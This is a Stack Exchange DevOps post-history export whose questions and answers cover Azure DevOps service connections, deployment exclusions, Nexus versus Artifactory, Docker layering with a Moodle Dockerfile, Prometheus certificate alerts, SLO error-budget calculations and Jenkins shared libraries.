  <row Id="33499" PostHistoryTypeId="2" PostId="10922" RevisionGUID="0c56ad60-73f9-4078-8712-9b65424c7fa1" CreationDate="2020-02-27T20:16:28.147" UserId="12616" Text="I have a hard time understanding the lifetime of the service principal created in Azure AD when creating the service connection between Azure DevOps and Azure. I do it like this:&#xD;&#xA;&#xD;&#xA;I pick the Azure Resource Manager&#xD;&#xA;[![Choosing the ARM connection manager][1]][1]&#xD;&#xA;&#xD;&#xA;And then i choose the recommended&#xD;&#xA;[![Recommended approach][2]][2]&#xD;&#xA;&#xD;&#xA;Hereafter I fill in the blanks&#xD;&#xA;[![Service connection create][3]][3]&#xD;&#xA;&#xD;&#xA;I now have a valid service connection and I can deploy from DevOps to Azure. The only thing i need is a user with enough rights to do this. I can even see the service principal in Azure where it tells me that the client secret will expire in two years:&#xD;&#xA;[![Expire of client secret][4]][4]&#xD;&#xA;&#xD;&#xA;What i dont understand:&#xD;&#xA;&#xD;&#xA;1. does the service connection then stop working when the secret expires? Or will DevOps somehow extend the expire date?&#xD;&#xA;2. i cant read this anywhere, so it is up for my own interpretation on how i understand the &quot;service principal&quot; concept, but if the user used to create the principal gets disabled or deleted, then the service principal _will_ persist, correct?&#xD;&#xA;3. if 2) is correct, then when will the principal get deleted? When the scope of the principal gets deleted? Or when the service principal itself gets deleted?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/xfDbi.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/WMoC3.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/9Reeg.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/RtSr3.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33500" PostHistoryTypeId="1" PostId="10922" RevisionGUID="0c56ad60-73f9-4078-8712-9b65424c7fa1" CreationDate="2020-02-27T20:16:28.147" UserId="12616" Text="Azure DevOps service connection: lifetime of service principal" ContentLicense="CC BY-SA 4.0" />
  <row Id="33501" PostHistoryTypeId="3" PostId="10922" RevisionGUID="0c56ad60-73f9-4078-8712-9b65424c7fa1" CreationDate="2020-02-27T20:16:28.147" UserId="12616" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;active-directory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33502" PostHistoryTypeId="2" PostId="10923" RevisionGUID="32d2ff4a-ddf6-48a5-af4f-aa723950380a" CreationDate="2020-02-28T00:39:19.093" UserId="19938" Text="I have an **Azure DevOps Pipeline** which includes an **Azure App Service Deploy** task (`AzureRmWebAppDeployment`) for deploying an **ASP.NET Core 3.1** project:&#xD;&#xA;```yml&#xD;&#xA;- task: AzureRmWebAppDeployment@4&#xD;&#xA;  inputs:&#xD;&#xA;    ConnectionType: 'AzureRM'&#xD;&#xA;    azureSubscription: 'Azure Subscription(01234567-89ab-cdef-0123-456789abcdef)'&#xD;&#xA;    appType: 'webApp'&#xD;&#xA;    WebAppName: 'MyStagingSite'&#xD;&#xA;    packageForLinux: '$(Build.ArtifactStagingDirectory)/**/*.zip'&#xD;&#xA;    enableCustomDeployment: true&#xD;&#xA;    DeploymentType: 'webDeploy'&#xD;&#xA;    enableXmlTransform: false&#xD;&#xA;    enableXmlVariableSubstitution: true&#xD;&#xA;    RemoveAdditionalFilesFlag: false&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The **Azure App Service** destination, however, contains files in several pre-established folders which are managed independent of the continuous delivery process. We would like to use the _Remove additional files at destination_ flag (`RemoveAdditionalFilesFlag`) while leaving those folders intact.&#xD;&#xA;&#xD;&#xA;&gt; _Disclaimer:_ I don't consider this a best practice and, in the future, we will be moving these files off to a separate storage location. Until then, I'd like to find a solution that will work resolve this.&#xD;&#xA;&#xD;&#xA;In **Visual Studio 2019**, we achieve this by excluding those files from our publishing process using the `MsDeploySkipRules` in our `csproj` file:&#xD;&#xA;```xml&#xD;&#xA;&lt;Project Sdk=&quot;Microsoft.NET.Sdk.Web&quot;&gt;&#xD;&#xA;  …&#xD;&#xA;  &lt;ItemGroup&gt;&#xD;&#xA;    &lt;MsDeploySkipRules Include=&quot;CustomSkipFolder&quot;&gt;&#xD;&#xA;      &lt;ObjectName&gt;dirPath&lt;/ObjectName&gt;&#xD;&#xA;      &lt;AbsolutePath&gt;wwwroot\\Uploads&lt;/AbsolutePath&gt;&#xD;&#xA;    &lt;/MsDeploySkipRules&gt;&#xD;&#xA;&lt;/Project&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This approach works well for Visual Studio. Those rules do not appear to be honored by the `AzureRmWebAppDeployment` task, however, even when using the &quot;Web Deploy&quot; deployment method (`DeploymentType`).&#xD;&#xA;&#xD;&#xA;Is there a way to honor the `MsDeploySkipRules` when using the `AzureRmWebAppDeployment` task? If not, if there a way to provide a list of folders which should be skipped or ignored as part of the deployment process? Or, alternatively, if there another task that will permit one of these options?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33503" PostHistoryTypeId="1" PostId="10923" RevisionGUID="32d2ff4a-ddf6-48a5-af4f-aa723950380a" CreationDate="2020-02-28T00:39:19.093" UserId="19938" Text="Azure Pipelines: Exclude folders using Azure App Service Deploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="33504" PostHistoryTypeId="3" PostId="10923" RevisionGUID="32d2ff4a-ddf6-48a5-af4f-aa723950380a" CreationDate="2020-02-28T00:39:19.093" UserId="19938" Text="&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33505" PostHistoryTypeId="2" PostId="10924" RevisionGUID="18975450-204e-4a31-9d46-81d65bdcd9f0" CreationDate="2020-02-28T02:48:24.913" UserId="19939" Text="I was wondering what is the recommendation for a business that needs to store binaries for distribution as well as for dependencies to be used by our projects, with projects in different languages/technologies (.NET, Javascript/Java, C/C++, TAL).&#xD;&#xA;&#xD;&#xA;Thank you, any info is appreciated!!" ContentLicense="CC BY-SA 4.0" />
  <row Id="33506" PostHistoryTypeId="1" PostId="10924" RevisionGUID="18975450-204e-4a31-9d46-81d65bdcd9f0" CreationDate="2020-02-28T02:48:24.913" UserId="19939" Text="Nexus vs. Artifactory" ContentLicense="CC BY-SA 4.0" />
  <row Id="33507" PostHistoryTypeId="3" PostId="10924" RevisionGUID="18975450-204e-4a31-9d46-81d65bdcd9f0" CreationDate="2020-02-28T02:48:24.913" UserId="19939" Text="&lt;artifactory&gt;&lt;nexus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33508" PostHistoryTypeId="2" PostId="10925" RevisionGUID="a5ebec1d-9d77-4671-b5fa-855caf032767" CreationDate="2020-02-28T03:42:54.333" UserId="16059" Text="I have used both in enterprise settings a fair bit, but I had never really thought this through until reading the question.  Artifactory seems much more complete/impressive to me, but I have used it more recently than Neuxs, so I was worried that I might be biased.&#xD;&#xA;&#xD;&#xA;I just spent ~30 minutes reading online.  Virtually every comparison or article is either totally biased (literally JFROG or Sonatype supported), or is just lacking in detail.&#xD;&#xA;&#xD;&#xA;I eventually did find this though, which is fairly in line with my initial thoughts:  https://www.praqma.com/stories/artifactory-nexus-proget/:&#xD;&#xA;&#xD;&#xA; - Artifactory supports far more repository types.&#xD;&#xA; - Atifactory has a far better REST API (and has often been ahead on feature development, though it seems like Nexus does catch up over time).&#xD;&#xA; - Nexus is a little more extensible.&#xD;&#xA; - Artifactory costs significantly more.&#xD;&#xA;&#xD;&#xA;So... both are good.  If you aren't amazingly cost conscious and want the best overall tool, probably choose artifactory.  If you have specific needs and Nexus covers your required repository types, it might be worth using it to save some money as it is a solid product in the end.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33509" PostHistoryTypeId="2" PostId="10926" RevisionGUID="864d7092-dad0-4ec5-bb84-c717974b80cc" CreationDate="2020-02-28T03:44:29.847" UserId="677" Text="I think you're misunderstanding what is considered bad practice.&#xA;&#xA;Running vault with an in memory backend and being able to spin it up and provision it is *fine*. What is *Not Fine* is seeding the secrets in Vault from an insecure source.&#xA;&#xA;If you are just using Vault as a way to simplify operations, as opposed to a long term persistent state store - then go for it.&#xA;&#xA;One caveat - if you use the capabilities in vault to rotate keys for other integrated services then if you lose your vault cluster then you have just lost the keys to those services, so hopefully anything accessed using a Vault managed, regularly rotated, key is also easy for you to reprovision " ContentLicense="CC BY-SA 4.0" />
  <row Id="33510" PostHistoryTypeId="2" PostId="10927" RevisionGUID="83d3af4a-0dc2-4de7-bae1-4804e2dc9cf7" CreationDate="2020-02-28T04:00:50.907" UserId="16059" Text="Generally speaking, you want to:&#xD;&#xA;&#xD;&#xA; - Combine multiple **related actions/files** into a single layer so you don't have tons of layers.&#xD;&#xA; - Separate out unrelated actions/files which are likely to change independently. &#xD;&#xA; - Order layers such that those least likely to change occur first in the file.&#xD;&#xA; - Use multi stage builds to clean up if you have lots of garbage in your image/layers that does not need to be in the final image.&#xD;&#xA;&#xD;&#xA;If you have to make a change to anything in the docker file, everything below that point has to be redone; caching is useless at that point.  You want to avoid this.&#xD;&#xA;&#xD;&#xA;So, rather than trying to trying to combine everything into one layer or something odd like that, you should focus on understanding what is likely to change and how you can reduce the amount of layers you have to rebuild if and when that change happens.&#xD;&#xA;&#xD;&#xA;The best explained example I've seen of this is here -&gt; https://spring.io/blog/2018/11/08/spring-boot-in-a-container for Spring Boot.&#xD;&#xA;&#xD;&#xA;Details are below... but to summarize; they determined that a huge layer/size was the application dependencies from Maven.  They figured most app changes don't require new maven dependencies, so caching the maven dependencies in their own layer would generally make builds and image pulls faster by avoiding re-pulling dependencies.  Then when you change the application code itself, it just pulls the later/smaller layers for the app itself which is very efficient.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;# A Better Dockerfile&#xD;&#xA;&#xD;&#xA;A Spring Boot fat jar naturally has &quot;layers&quot; because of the way that the jar itself is packaged. If we unpack it first it will already be divided into external and internal dependencies. &lt;content removed for brevity&gt;&#xD;&#xA;&#xD;&#xA;## Dockerfile&#xD;&#xA;&#xD;&#xA;    FROM openjdk:8-jdk-alpine&#xD;&#xA;    VOLUME /tmp&#xD;&#xA;    ARG DEPENDENCY=target/dependency&#xD;&#xA;    COPY ${DEPENDENCY}/BOOT-INF/lib /app/lib&#xD;&#xA;    COPY ${DEPENDENCY}/META-INF /app/META-INF&#xD;&#xA;    COPY ${DEPENDENCY}/BOOT-INF/classes /app&#xD;&#xA;    ENTRYPOINT [&quot;java&quot;,&quot;-cp&quot;,&quot;app:app/lib/*&quot;,&quot;hello.Application&quot;]&#xD;&#xA;&#xD;&#xA;There are now 3 layers, with all the application resources in the later 2 layers. If the application dependencies don’t change, then the first layer (from BOOT-INF/lib) will not change, so the build will be faster, and so will the startup of the container at runtime as long as the base layers are already cached.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;There really isn't a magic answer to this.  It really just depends on your application and its dependencies and what is likely to change in your development/deployment environment over time.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33511" PostHistoryTypeId="2" PostId="10928" RevisionGUID="2af6b28b-2d53-4912-80fc-e9690bd3c285" CreationDate="2020-02-28T04:03:47.490" UserId="677" Text="You can generate an access token for docker hub by going here:&#xA;&#xA;https://hub.docker.com/settings/security&#xA;&#xA;And creating a new access token.&#xA;&#xA;It's essentially the same process for organisational access tokens or for personal access tokens IIRC.&#xA;&#xA;Once you have generated the access token you can literally just use that token instead of the password for most docker hub operations (ie. `docker login --username $user --password $token`) " ContentLicense="CC BY-SA 4.0" />
  <row Id="33512" PostHistoryTypeId="2" PostId="10929" RevisionGUID="3852235e-527c-44b6-8e46-78d785b0fa8e" CreationDate="2020-02-28T07:45:46.437" UserId="19943" Text="I was searching for a tool suitable for provisioning sdcard for raspberry pi.&#xD;&#xA;&#xD;&#xA;I've successfully managed to implement most of it using ansible playbook. Need only some time for last polishing.&#xD;&#xA;&#xD;&#xA;Process looks like this:&#xD;&#xA; 1. Format sdcard&#xD;&#xA; 2. Mount sdcard in temporary directory&#xD;&#xA; 3. Debootstrap sid&#xD;&#xA; 4. Chroot&#xD;&#xA; 5. Finnish configuration&#xD;&#xA;&#xD;&#xA;It seems to work well for now, but I'm a bit worried that it is not in the scope of ansible. Is there any more suitable tool for this task?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33513" PostHistoryTypeId="1" PostId="10929" RevisionGUID="3852235e-527c-44b6-8e46-78d785b0fa8e" CreationDate="2020-02-28T07:45:46.437" UserId="19943" Text="Provisioning raspbery pi sdcard" ContentLicense="CC BY-SA 4.0" />
  <row Id="33514" PostHistoryTypeId="3" PostId="10929" RevisionGUID="3852235e-527c-44b6-8e46-78d785b0fa8e" CreationDate="2020-02-28T07:45:46.437" UserId="19943" Text="&lt;ansible&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33515" PostHistoryTypeId="50" PostId="9221" RevisionGUID="4c9c2109-b05e-4fed-b6de-33df7176334e" CreationDate="2020-02-28T08:03:10.387" UserId="-1" />
  <row Id="33516" PostHistoryTypeId="5" PostId="10929" RevisionGUID="dce3c473-b077-4471-bdf4-0f523dd33f38" CreationDate="2020-02-28T08:16:12.280" UserId="354" Comment="Minor formatting changes" Text="I was searching for a tool suitable for provisioning sdcard for raspberry pi.&#xD;&#xA;&#xD;&#xA;I've successfully managed to implement most of it using Ansible playbook. Need only some time for last polishing.&#xD;&#xA;&#xD;&#xA;Process looks like this:&#xD;&#xA;&#xD;&#xA; 1. Format sdcard&#xD;&#xA; 2. Mount sdcard in temporary directory&#xD;&#xA; 3. Debootstrap sid&#xD;&#xA; 4. Chroot&#xD;&#xA; 5. Finish configuration&#xD;&#xA;&#xD;&#xA;It seems to work well for now, but I'm a bit worried that it is not in the scope of Ansible. Is there any more suitable tool for this task?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33517" PostHistoryTypeId="5" PostId="10919" RevisionGUID="14fc0750-26e7-45ca-b30b-b28624b84b19" CreationDate="2020-02-28T08:21:04.667" UserId="4396" Comment="deleted 1 character in body" Text="Once I build docker image for existing applications I try to use a single layer as possible and clean up any unwanted files for example building an image for moodle:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Dockerfile for moodle instance.&#xD;&#xA;# Forked from Jonathan Hardison's &lt;jmh@jonathanhardison.com&gt; docker version. https://github.com/jmhardison/docker-moodle&#xD;&#xA;#Original Maintainer Jon Auer &lt;jda@coldshore.com&gt;&#xD;&#xA;&#xD;&#xA;FROM  php:7.2-apache&#xD;&#xA;&#xD;&#xA;# Replace for later version&#xD;&#xA;ARG VERSION=37&#xD;&#xA;ARG	DB_TYPE=&quot;all&quot;&#xD;&#xA;&#xD;&#xA;VOLUME [&quot;/var/moodledata&quot;]&#xD;&#xA;EXPOSE 80&#xD;&#xA;&#xD;&#xA;ENV MOODLE_DB_TYPE=&quot;${DB_TYPE}&quot;&#xD;&#xA;# Let the container know that there is no tty&#xD;&#xA;ENV DEBIAN_FRONTEND noninteractive \&#xD;&#xA;	MOODLE_URL http://0.0.0.0 \&#xD;&#xA;    MOODLE_ADMIN admin \&#xD;&#xA;    MOODLE_ADMIN_PASSWORD Admin~1234 \&#xD;&#xA;    MOODLE_ADMIN_EMAIL admin@example.com \&#xD;&#xA;    MOODLE_DB_HOST '' \&#xD;&#xA;    MOODLE_DB_PASSWORD '' \&#xD;&#xA;    MOODLE_DB_USER '' \&#xD;&#xA;    MOODLE_DB_NAME '' \&#xD;&#xA;    MOODLE_DB_PORT '3306'&#xD;&#xA;&#xD;&#xA;COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;RUN echo &quot;Build moodle version ${VERSION}&quot; &amp;&amp;\&#xD;&#xA;	chmod +x /usr/local/bin/entrypoint.sh &amp;&amp;\&#xD;&#xA;	apt-get update &amp;&amp; \&#xD;&#xA;	if [ $DB_TYPE = 'mysqli' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup mysql and mariadb support&quot; &amp;&amp; docker-php-ext-install pdo mysqli pdo_mysql; fi &amp;&amp;\&#xD;&#xA;	if [ $DB_TYPE = 'pgsql' ] || [ $DB_TYPE = 'all' ]; then echo &quot;Setup postgresql support&quot; &amp;&amp;\&#xD;&#xA;		apt-get install -y --no-install-recommends libghc-postgresql-simple-dev &amp;&amp;\&#xD;&#xA;     	docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql &amp;&amp;\&#xD;&#xA;        docker-php-ext-install pdo pgsql pdo_pgsql; \ &#xD;&#xA;	fi &amp;&amp;\&#xD;&#xA;	apt-get -f -y install --no-install-recommends rsync unzip netcat libxmlrpc-c++8-dev libxml2-dev libpng-dev libicu-dev libmcrypt-dev libzip-dev &amp;&amp;\&#xD;&#xA; 	docker-php-ext-install xmlrpc &amp;&amp; \&#xD;&#xA;	docker-php-ext-install mbstring &amp;&amp; \&#xD;&#xA;	whereis libzip &amp;&amp;\&#xD;&#xA;	docker-php-ext-configure zip --with-libzip=/usr/lib/x86_64-linux-gnu/libzip.so &amp;&amp;\&#xD;&#xA;	docker-php-ext-install zip &amp;&amp; \&#xD;&#xA;	docker-php-ext-install xml &amp;&amp; \&#xD;&#xA;	docker-php-ext-install intl &amp;&amp; \&#xD;&#xA; 	docker-php-ext-install soap &amp;&amp; \&#xD;&#xA;	docker-php-ext-install gd &amp;&amp; \&#xD;&#xA;	docker-php-ext-install opcache &amp;&amp; \&#xD;&#xA;	echo &quot;Installing moodle&quot; &amp;&amp; \&#xD;&#xA;	curl https://download.moodle.org/download.php/direct/stable${VERSION}/moodle-latest-${VERSION}.zip -o /tmp/moodle-latest.zip  &amp;&amp; \&#xD;&#xA;	rm -rf /var/www/html/index.html &amp;&amp; \&#xD;&#xA;	cd /tmp &amp;&amp;	unzip /tmp/moodle-latest.zip &amp;&amp; cd / \&#xD;&#xA;	mkdir -p /usr/src/moodle &amp;&amp; \&#xD;&#xA;	mv /tmp/moodle /usr/src/ &amp;&amp; \&#xD;&#xA;	chown www-data:www-data -R /usr/src/moodle &amp;&amp; \&#xD;&#xA;	apt-get purge -y unzip &amp;&amp;\&#xD;&#xA;	apt-get autopurge -y &amp;&amp;\&#xD;&#xA;	apt-get autoremove -y &amp;&amp;\&#xD;&#xA;	apt-get autoclean &amp;&amp;\&#xD;&#xA;	rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/*&#xD;&#xA;&#xD;&#xA;COPY ./scripts/moodle-config.php /usr/src/moodle/config.php&#xD;&#xA;COPY ./scripts/detect_mariadb.php /opt/detect_mariadb.php&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]&#xD;&#xA;CMD [&quot;/usr/sbin/apache2ctl&quot;, &quot;-D&quot;, &quot;FOREGROUND&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[Source][1]&#xD;&#xA;&#xD;&#xA;But whilst I build images for an another (production project) I noticed that once I pull newer images for exising containers only the changed layers are actually being downloaded. &#xD;&#xA;&#xD;&#xA;So I wondered wouldn't be better to have a layer for each puproce for example a single layer for the php itself and an another layer for the application itself. So as a result during deployment only the changed parts will be downloaded instead of a HUGE single layer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But as a downside splitting my builds on smaller layers may require to re-download and delete many required packages for building php extentions. Do you think on large applications may be a problem or does it worth to have logner builds for smaller download during deployment or I am talking nonsense?&#xD;&#xA;&#xD;&#xA;On the other hand I understand using a single layer makes the overall image size smaller. But as a result it will need to actually download the whole layer itself. So if my image is 100MB it will need to re-download the whole 100Mb instead of few killobythes that a changed layer will be.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ellakcy/docker-moodle/blob/single_dockerfile/dockerfiles/apache/Dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="33518" PostHistoryTypeId="2" PostId="10930" RevisionGUID="5c6ca7b4-f872-498d-8297-55ba8dd3f1e0" CreationDate="2020-02-28T10:44:01.517" UserId="17329" Text="I had a situation yesterday where my K8S master api cert has expired and I had Prometheus-operator active in the past weeks, but neither the 24 hours, neither the 7 days alert has triggered. I went to the dashboard and made the original querry, I got nothing. I cut it out and mod it to apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} &gt; 0, I got the result of all nodes, I checked the timers and moded it to apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} &gt; 14000000 so I wanted one that is off to be cut and it was, that doesn't help me, but I think there is a problem with the alert, anyone else fought that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33519" PostHistoryTypeId="1" PostId="10930" RevisionGUID="5c6ca7b4-f872-498d-8297-55ba8dd3f1e0" CreationDate="2020-02-28T10:44:01.517" UserId="17329" Text="Prometheus-operator - detection of expiring certs failing" ContentLicense="CC BY-SA 4.0" />
  <row Id="33520" PostHistoryTypeId="3" PostId="10930" RevisionGUID="5c6ca7b4-f872-498d-8297-55ba8dd3f1e0" CreationDate="2020-02-28T10:44:01.517" UserId="17329" Text="&lt;kubernetes&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33524" PostHistoryTypeId="2" PostId="10932" RevisionGUID="de187709-de52-4f52-aad4-b0d7f74c82ca" CreationDate="2020-02-28T13:02:15.357" UserId="19948" Text="I'm using Terraform to create my environment and I'd like to deploy Azure Sql Server along with other things. I use terraform so I can easily destroy all deployed things and reduce costs when I'm not using them.  &#xD;&#xA;So, I decided that I can add Azure Sql Server into my Terraform file but I need to store my information into backup file so I can restore it with &quot;Azure SQL Database deployment&quot; task from pipeline. Hovewer, I haven't find any indication that it is possible to create a .DACPAC from within Azure DevOps.  &#xD;&#xA;So, is there a way to create and save a backup of my database (preferrably, into a blob storage) from Azure DevOps pipeline? I looked into azure shell (az sql database), but haven't find anything of value" ContentLicense="CC BY-SA 4.0" />
  <row Id="33525" PostHistoryTypeId="1" PostId="10932" RevisionGUID="de187709-de52-4f52-aad4-b0d7f74c82ca" CreationDate="2020-02-28T13:02:15.357" UserId="19948" Text="How to make .DACPAC from Azure Sql Server using Azure DevOps release pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33526" PostHistoryTypeId="3" PostId="10932" RevisionGUID="de187709-de52-4f52-aad4-b0d7f74c82ca" CreationDate="2020-02-28T13:02:15.357" UserId="19948" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33527" PostHistoryTypeId="2" PostId="10933" RevisionGUID="ee56e94d-c7fb-4d42-b6c9-2817f94b198d" CreationDate="2020-02-28T13:24:42.377" UserId="9077" Text="A workaround to your issue is to create a snapshot of the volume(s) before deleting them.  The snapshot will live on after the volume is deleted and can be recreated if necessary.&#xD;&#xA;&#xD;&#xA;&gt;After you no longer need an Amazon EBS volume, you can delete it. After deletion, its data is gone and the volume can't be attached to any instance. However, before deletion, you can store a snapshot of the volume, which you can use to re-create the volume later.&#xD;&#xA;&#xD;&#xA;**Reference**&#xD;&#xA;&#xD;&#xA;[EBS Deleting Volume][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-volume.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="33528" PostHistoryTypeId="5" PostId="10930" RevisionGUID="fee9f37f-3906-4b64-a0c3-b945fe4fec35" CreationDate="2020-02-28T13:25:00.003" UserId="17329" Comment="added 304 characters in body" Text="I had a situation yesterday where my K8S master api cert has expired and I had Prometheus-operator active in the past weeks, but neither the 24 hours, neither the 7 days alert has triggered. I went to the dashboard and made the original querry, I got nothing. I cut it out and mod it to apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} &gt; 0, I got the result of all nodes, I checked the timers and moded it to apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} &gt; 14000000 so I wanted one that is off to be cut and it was, that doesn't help me, but I think there is a problem with the alert, anyone else fought that?&#xD;&#xA;https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubeclientcertificateexpiration &#xD;&#xA;If this is supposed to monitor all endpoints that make a request to the api server for their certificates then this failed as I didn't get an alert for the expired certificate." ContentLicense="CC BY-SA 4.0" />
  <row Id="33529" PostHistoryTypeId="2" PostId="10934" RevisionGUID="c0ec24b9-78a7-4350-bd2d-d80283f06ff8" CreationDate="2020-02-28T14:58:20.293" UserId="1202" Text="Am using both right now.  &#xD;&#xA;&#xD;&#xA;Nexus will support more repo types with the free version than Artifactory&#xD;&#xA;&#xD;&#xA;but&#xD;&#xA;&#xD;&#xA;Artifactory will have more repos support in the paid tier&#xD;&#xA;&#xD;&#xA;Nexus now support Conda natively (since a few weeks ago if memory serves)&#xD;&#xA;&#xD;&#xA;Artifactory will be quite pricey, especially if you plan on having tests and staging instances to test out your config and/or custom plugins as you will have to shell for at least a Pro instance (3K+USD).  Nexus will allow you to test most of these with the free version.&#xD;&#xA;&#xD;&#xA;JFrog has exemplary support but a bit pushy with their sales.  They will have help around though to get you started should you need it.&#xD;&#xA;&#xD;&#xA;I have not tried Nexus support or sales force so I cant comment (the free version was plenty enough for our needs).&#xD;&#xA;&#xD;&#xA;I found the plugin framework to be more usable with Artifactory though it felt a bit limited.  Nexus seems more powerfull but it can be difficult to upgrade/remove plugins from a working instance.  On that front I much preferred Artifactory.&#xD;&#xA;&#xD;&#xA;Overall we did go with Artifactory, personally I find them to be pretty much equivalent.  It will depend a bit on the actual technology you need supported (pypi, nuget, maven etc)." ContentLicense="CC BY-SA 4.0" />
  <row Id="33530" PostHistoryTypeId="2" PostId="10935" RevisionGUID="2c518214-7c77-4638-8798-64943fa01f48" CreationDate="2020-02-28T15:01:31.340" UserId="19952" Text="1. Yes, you are interpreting that correctly.&#xD;&#xA;&#xD;&#xA;2. When you express your SLO as a percentage, you should express your error rate as a percentage too. So, in you example your error rate of 1 is 100%. That would make the equation:&#xD;&#xA;&#xD;&#xA;        (100-95/100) * 1 hour * 1 = 0.05 hours = 3 minutes&#xD;&#xA;&#xD;&#xA;3. The period in that equation is the reporting period that you have chosen for your SLO. You have not mentioned what time period you chose. The examples in the workbook are 30 days. If you use a 30 day (720 hour) period in your example, you would consume approximately 0.14% of your error budget in the 3 minutes it takes for the alert to fire:&#xD;&#xA;&#xD;&#xA;        ( 1 * 1 hour ) / 720 hours = 0.14%&#xD;&#xA;&#xD;&#xA;4. The rates are different because they are measured over different time periods. (Note that the graph is using a logarithmic scale, so the actual error rate and the peak of the 5m measurement is 15%, not 10%.)&#xD;&#xA;    * Consider what you would measure one minute after the errors started:&#xD;&#xA;        * The 5m measurement would see 4 minutes of no errors plus one minute of 15% errors, which gives an overall error rate of 3%.&#xD;&#xA;        * The 60m measurement would see 59 minutes of no errors plus one minute of 15% errors, which is just an overall error rate of 0.25%.&#xD;&#xA;    * Then 5 minutes after the errors started:&#xD;&#xA;        * The 5m measurement would see 5 minutes of 15% errors, so the overall rate would be 15%.&#xD;&#xA;        * The 60m measurement would see 55 minutes of no errors plus 5 minutes of 15% errors, so the overall rate would be 1.25%. This is actually still too low to trigger the alert, so it will actually take more than 5 minutes to alert.&#xD;&#xA;    * Using the equation from before, the actual time taken to alert is 5.76 minutes:&#xD;&#xA;&#xD;&#xA;            5.76 = (0.001/0.15) * 60 * 14.4&#xD;&#xA;&#xD;&#xA;5. Your PromQL seems to be looking at the good events instead of the bad events, as the le=&quot;2&quot; selector is for the bucket counting latencies *less than or equal to* (le) 2 seconds. You may want to create a separate &quot;good_latency_rate1h&quot; recording rule for the good events, and then use something like &quot;(1-good_latency_rate1h) &gt; (14.4*0.001)&quot; for your alerts.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33531" PostHistoryTypeId="2" PostId="10936" RevisionGUID="fd477f79-ea02-464e-81fb-37fa4e8f3aa1" CreationDate="2020-02-28T15:10:31.897" UserId="1202" Text="I've not used these plugins but I am using pipelines and pipeline libraries (https://jenkins.io/doc/book/pipeline/shared-libraries/).&#xD;&#xA;&#xD;&#xA;My Jenkinsfile is now dead simple basically made of an import, I define a map for project specific parameters and call the function from the import with the map : &#xD;&#xA;&#xD;&#xA;    @Library('lib-pipeline')&#xD;&#xA;&#xD;&#xA;    def config = [&quot;project_code&quot;:&quot;ProjA&quot;,&#xD;&#xA;              &quot;phase_code&quot;:&quot;prod&quot;,&#xD;&#xA;              &quot;build_NET&quot;:&quot;YES&quot;,&#xD;&#xA;              &quot;build_mono&quot;:&quot;NO&quot;,&#xD;&#xA;              &quot;run_tests&quot;:&quot;YES&quot;,&#xD;&#xA;              &quot;run_tests_coverage&quot;:&quot;YES&quot;,&#xD;&#xA;              &quot;p4_credential&quot;:&quot;MY_CREDENTIAL&quot;&#xD;&#xA;              ]&#xD;&#xA;&#xD;&#xA;    BuildWithMapConfig(config)&#xD;&#xA;&#xD;&#xA;All the actual code is in a git repo where we can track changes properly.  you can set a branch in your import &#xD;&#xA;&#xD;&#xA;    @Library('lib-pipeline@develop')&#xD;&#xA;&#xD;&#xA;This coupled with the retry option in Jenkins where you can modify the Jenkinsfile just for that run makes it super easy to test variants in this pipeline.&#xD;&#xA;&#xD;&#xA;Having it all in a separate library I imagine you could de-couple the groovy script in a way that makes them unit testable on their own.  You could add a pipeline to that project to run these tests and other validations too.&#xD;&#xA;&#xD;&#xA;Since I've never used these plugins I'm not exactly sure this is what you are looking for, but if I had to add these functionalities in my pipeline that would be how I would do it." ContentLicense="CC BY-SA 4.0" />
